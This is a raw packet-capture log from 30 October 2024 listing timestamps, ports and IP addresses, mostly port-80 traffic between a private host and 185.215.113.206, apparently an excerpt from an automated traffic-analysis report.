Oct 30, 2024 11:45:40.009124994 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:40.009139061 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:40.009155035 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:40.009156942 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:40.009174109 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:40.009181023 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:40.009181976 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:40.009212971 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:40.009339094 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:40.009356976 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:40.009372950 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:40.009392023 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:40.009397984 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:40.009409904 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:40.009413004 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:40.009440899 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:40.009455919 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:40.009533882 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:40.009567022 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:40.009573936 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:40.009582996 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:40.009605885 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:40.009617090 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:40.009623051 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:40.009639978 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:40.009680033 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:40.009926081 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:40.009977102 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:40.009994030 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:40.009998083 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:40.010021925 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:40.010035992 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:40.010075092 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:40.010092020 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:40.010118008 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:40.010133982 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:40.010333061 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:40.010375977 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:40.010380030 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:40.010394096 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:40.010418892 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:40.010432959 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:40.010435104 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:40.010452032 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:40.010471106 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:40.010477066 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:40.010488033 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:40.010499001 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:40.010505915 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:40.010516882 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:40.010535002 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:40.010545015 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:40.097449064 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:40.097507954 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:40.097511053 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:40.097531080 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:40.097546101 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:40.097554922 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:40.097579956 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:40.123809099 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:40.123873949 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:40.123888016 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:40.123903036 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:40.123904943 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:40.123923063 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:40.123928070 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:40.123943090 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:40.123950958 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:40.123999119 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:40.124017000 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:40.124087095 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:40.124300003 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:40.124315977 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:40.124331951 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:40.124345064 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:40.124382019 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:40.124691010 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:40.124746084 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:40.124763012 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:40.124789000 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:40.124819994 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:40.124850035 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:40.124866962 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:40.124888897 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:40.124902010 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:40.125037909 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:40.125092030 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:40.125093937 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:40.125111103 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:40.125133038 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:40.125134945 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:40.125158072 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:40.125168085 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:40.125200033 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:40.125226974 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:40.125242949 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:40.125267982 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:40.125293016 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:40.125349045 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:40.125365973 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:40.125381947 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:40.125427961 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:40.125427961 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:40.125816107 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:40.125830889 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:40.125848055 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:40.125864983 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:40.125868082 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:40.125880003 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:40.125906944 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:40.126189947 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:40.126209021 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:40.126224995 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:40.126249075 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:40.126254082 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:40.126267910 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:40.126280069 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:40.126286983 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:40.126311064 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:40.126343966 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:40.142329931 CET	443	49934	23.221.22.215	192.168.2.6
Oct 30, 2024 11:45:40.142666101 CET	49934	443	192.168.2.6	23.221.22.215
Oct 30, 2024 11:45:40.142674923 CET	443	49934	23.221.22.215	192.168.2.6
Oct 30, 2024 11:45:40.143028021 CET	443	49934	23.221.22.215	192.168.2.6
Oct 30, 2024 11:45:40.143408060 CET	49934	443	192.168.2.6	23.221.22.215
Oct 30, 2024 11:45:40.143475056 CET	443	49934	23.221.22.215	192.168.2.6
Oct 30, 2024 11:45:40.186031103 CET	49934	443	192.168.2.6	23.221.22.215
Oct 30, 2024 11:45:40.196746111 CET	443	49931	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:40.197644949 CET	49931	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:40.197662115 CET	443	49931	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:40.198160887 CET	49931	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:40.198167086 CET	443	49931	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:40.212735891 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:40.212762117 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:40.212776899 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:40.212807894 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:40.212832928 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:40.219337940 CET	443	49932	13.107.246.57	192.168.2.6
Oct 30, 2024 11:45:40.220973969 CET	443	49933	13.107.246.57	192.168.2.6
Oct 30, 2024 11:45:40.221462011 CET	49932	443	192.168.2.6	13.107.246.57
Oct 30, 2024 11:45:40.221474886 CET	443	49932	13.107.246.57	192.168.2.6
Oct 30, 2024 11:45:40.221662045 CET	49933	443	192.168.2.6	13.107.246.57
Oct 30, 2024 11:45:40.221674919 CET	443	49933	13.107.246.57	192.168.2.6
Oct 30, 2024 11:45:40.221828938 CET	443	49932	13.107.246.57	192.168.2.6
Oct 30, 2024 11:45:40.222037077 CET	443	49933	13.107.246.57	192.168.2.6
Oct 30, 2024 11:45:40.222385883 CET	49932	443	192.168.2.6	13.107.246.57
Oct 30, 2024 11:45:40.222451925 CET	443	49932	13.107.246.57	192.168.2.6
Oct 30, 2024 11:45:40.222560883 CET	49932	443	192.168.2.6	13.107.246.57
Oct 30, 2024 11:45:40.222862959 CET	49933	443	192.168.2.6	13.107.246.57
Oct 30, 2024 11:45:40.222928047 CET	443	49933	13.107.246.57	192.168.2.6
Oct 30, 2024 11:45:40.223690987 CET	49933	443	192.168.2.6	13.107.246.57
Oct 30, 2024 11:45:40.240474939 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:40.240493059 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:40.240509033 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:40.240525007 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:40.240541935 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:40.240545988 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:40.240557909 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:40.240569115 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:40.240597010 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:40.240609884 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:40.240685940 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:40.240731955 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:40.240747929 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:40.240782022 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:40.240802050 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:40.240900040 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:40.240916014 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:40.240932941 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:40.240948915 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:40.240963936 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:40.240981102 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:40.240991116 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:40.241039038 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:40.241149902 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:40.241166115 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:40.241213083 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:40.241216898 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:40.241262913 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:40.241405964 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:40.241420031 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:40.241435051 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:40.241451979 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:40.241453886 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:40.241478920 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:40.241503000 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:40.241542101 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:40.241592884 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:40.241702080 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:40.241899967 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:40.241914988 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:40.241944075 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:40.241964102 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:40.242005110 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:40.242052078 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:40.242069006 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:40.242085934 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:40.242101908 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:40.242110968 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:40.242119074 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:40.242137909 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:40.242149115 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:40.242177963 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:40.242193937 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:40.242211103 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:40.242219925 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:40.242230892 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:40.242230892 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:40.242250919 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:40.242264032 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:40.242748022 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:40.242763042 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:40.242779016 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:40.242799044 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:40.242805004 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:40.242815971 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:40.242824078 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:40.242841005 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:40.242845058 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:40.242878914 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:40.263336897 CET	443	49932	13.107.246.57	192.168.2.6
Oct 30, 2024 11:45:40.264837027 CET	49932	443	192.168.2.6	13.107.246.57
Oct 30, 2024 11:45:40.266904116 CET	49940	443	192.168.2.6	20.75.60.91
Oct 30, 2024 11:45:40.266941071 CET	443	49940	20.75.60.91	192.168.2.6
Oct 30, 2024 11:45:40.267028093 CET	49940	443	192.168.2.6	20.75.60.91
Oct 30, 2024 11:45:40.267446995 CET	49940	443	192.168.2.6	20.75.60.91
Oct 30, 2024 11:45:40.267463923 CET	443	49940	20.75.60.91	192.168.2.6
Oct 30, 2024 11:45:40.271328926 CET	443	49933	13.107.246.57	192.168.2.6
Oct 30, 2024 11:45:40.328058958 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:40.328088999 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:40.328104973 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:40.328119993 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:40.328144073 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:40.336564064 CET	443	49931	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:40.336635113 CET	443	49931	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:40.336714029 CET	49931	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:40.352998018 CET	443	49932	13.107.246.57	192.168.2.6
Oct 30, 2024 11:45:40.353079081 CET	443	49932	13.107.246.57	192.168.2.6
Oct 30, 2024 11:45:40.353190899 CET	443	49933	13.107.246.57	192.168.2.6
Oct 30, 2024 11:45:40.353210926 CET	443	49933	13.107.246.57	192.168.2.6
Oct 30, 2024 11:45:40.353257895 CET	49932	443	192.168.2.6	13.107.246.57
Oct 30, 2024 11:45:40.353271008 CET	443	49933	13.107.246.57	192.168.2.6
Oct 30, 2024 11:45:40.353324890 CET	49933	443	192.168.2.6	13.107.246.57
Oct 30, 2024 11:45:40.355135918 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:40.355153084 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:40.355179071 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:40.355195999 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:40.355212927 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:40.355232000 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:40.355257988 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:40.355273962 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:40.355277061 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:40.355292082 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:40.355297089 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:40.355309010 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:40.355309963 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:40.355353117 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:40.355499029 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:40.355515957 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:40.355531931 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:40.355597973 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:40.355649948 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:40.355665922 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:40.355700016 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:40.355715990 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:40.355732918 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:40.355840921 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:40.356139898 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:40.356157064 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:40.356175900 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:40.356194973 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:40.356211901 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:40.356230021 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:40.356245041 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:40.356432915 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:40.356463909 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:40.356481075 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:40.356493950 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:40.356498003 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:40.356509924 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:40.356517076 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:40.356533051 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:40.356543064 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:40.356565952 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:40.447917938 CET	49931	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:40.447936058 CET	443	49931	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:40.453248024 CET	49933	443	192.168.2.6	13.107.246.57
Oct 30, 2024 11:45:40.453262091 CET	443	49933	13.107.246.57	192.168.2.6
Oct 30, 2024 11:45:40.454752922 CET	49932	443	192.168.2.6	13.107.246.57
Oct 30, 2024 11:45:40.454780102 CET	443	49932	13.107.246.57	192.168.2.6
Oct 30, 2024 11:45:40.461608887 CET	49941	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:40.461652040 CET	443	49941	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:40.461848021 CET	49941	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:40.463327885 CET	49941	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:40.463340044 CET	443	49941	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:40.498738050 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:40.637305975 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:40.643553019 CET	443	49937	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:40.644620895 CET	443	49938	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:40.646090031 CET	443	49935	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:40.646482944 CET	443	49936	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:40.647502899 CET	49936	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:40.647524118 CET	443	49936	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:40.648128986 CET	49936	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:40.648137093 CET	443	49936	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:40.648859024 CET	49937	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:40.648875952 CET	443	49937	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:40.649519920 CET	49937	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:40.649525881 CET	443	49937	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:40.649962902 CET	49938	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:40.649980068 CET	443	49938	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:40.650437117 CET	49938	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:40.650443077 CET	443	49938	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:40.650470972 CET	49935	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:40.650492907 CET	443	49935	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:40.650861025 CET	49935	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:40.650866985 CET	443	49935	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:40.761070013 CET	49942	443	192.168.2.6	23.47.194.99
Oct 30, 2024 11:45:40.761115074 CET	443	49942	23.47.194.99	192.168.2.6
Oct 30, 2024 11:45:40.761363983 CET	49942	443	192.168.2.6	23.47.194.99
Oct 30, 2024 11:45:40.761482954 CET	49943	443	192.168.2.6	23.47.194.99
Oct 30, 2024 11:45:40.761512041 CET	443	49943	23.47.194.99	192.168.2.6
Oct 30, 2024 11:45:40.761646986 CET	49943	443	192.168.2.6	23.47.194.99
Oct 30, 2024 11:45:40.761774063 CET	49944	443	192.168.2.6	23.47.194.99
Oct 30, 2024 11:45:40.761818886 CET	443	49944	23.47.194.99	192.168.2.6
Oct 30, 2024 11:45:40.761913061 CET	49945	443	192.168.2.6	23.47.194.99
Oct 30, 2024 11:45:40.761936903 CET	443	49945	23.47.194.99	192.168.2.6
Oct 30, 2024 11:45:40.761944056 CET	49944	443	192.168.2.6	23.47.194.99
Oct 30, 2024 11:45:40.762181997 CET	49945	443	192.168.2.6	23.47.194.99
Oct 30, 2024 11:45:40.762357950 CET	49946	443	192.168.2.6	23.47.194.99
Oct 30, 2024 11:45:40.762367010 CET	443	49946	23.47.194.99	192.168.2.6
Oct 30, 2024 11:45:40.762480974 CET	49947	443	192.168.2.6	23.47.194.99
Oct 30, 2024 11:45:40.762490988 CET	443	49947	23.47.194.99	192.168.2.6
Oct 30, 2024 11:45:40.762512922 CET	49946	443	192.168.2.6	23.47.194.99
Oct 30, 2024 11:45:40.762533903 CET	49947	443	192.168.2.6	23.47.194.99
Oct 30, 2024 11:45:40.762904882 CET	49942	443	192.168.2.6	23.47.194.99
Oct 30, 2024 11:45:40.762917995 CET	443	49942	23.47.194.99	192.168.2.6
Oct 30, 2024 11:45:40.763051987 CET	49943	443	192.168.2.6	23.47.194.99
Oct 30, 2024 11:45:40.763063908 CET	443	49943	23.47.194.99	192.168.2.6
Oct 30, 2024 11:45:40.763221025 CET	49944	443	192.168.2.6	23.47.194.99
